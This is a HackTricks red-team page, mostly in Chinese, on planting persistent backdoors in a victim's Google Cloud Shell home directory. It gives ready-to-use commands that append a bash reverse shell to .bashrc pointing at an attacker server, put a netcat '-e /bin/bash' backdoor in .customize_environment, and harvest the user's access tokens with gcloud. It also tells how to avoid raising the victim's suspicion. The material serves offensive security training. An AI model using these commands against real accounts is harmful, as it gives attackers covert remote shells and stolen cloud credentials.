GCP - Cloud Shell 持久化

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cloud Shell

更多信息请查看:

GCP - Cloud Shell Enum

持久化 Backdoor

Google Cloud Shell 为你提供了从浏览器直接访问云资源的命令行访问,且无需任何相关费用。

你可以通过 web 控制台 或运行 gcloud cloud-shell ssh 来访问 Google 的 Cloud Shell。

该控制台对攻击者有一些有趣的能力:

  1. Any Google user with access to Google Cloud 有权限访问一个完全认证的 Cloud Shell 实例(Service Accounts 也可以,甚至组织的 Owners)。
  2. 如果没有活动,该实例将至少保留其主目录 120 天
  3. 组织无法监控该实例的活动。

这基本意味着攻击者可以将一个 backdoor 放在用户的主目录中,只要用户每至少 120 天连接一次 GC Shell,backdoor 就会存活,并且攻击者每次运行它时都能获得一个 shell,只需执行:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

家目录下还有另一个名为 .customize_environment 的文件,如果存在,每次用户访问 cloud shell 时都会被执行(如前一个技术所述)。只需插入之前的 backdoor 或者像下面这样的一个,以便在用户“经常”使用 cloud shell 时维持 persistence:

创建 .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

需要注意的是,首次执行需要身份验证的操作时,用户浏览器会弹出授权窗口。必须先接受该窗口,命令才能运行。如果出现意外的弹窗,可能会引起怀疑并有可能暴露所使用的持久化方法。

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

然而,如果用户已经主动使用过 Cloud Shell,弹窗将不会出现,你可以通过以下方式收集该用户的令牌

从 Cloud Shell 获取访问令牌 ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

SSH 连接如何建立

基本上,使用以下 3 个 API 调用:

但你可以在 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key 找到更多信息

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks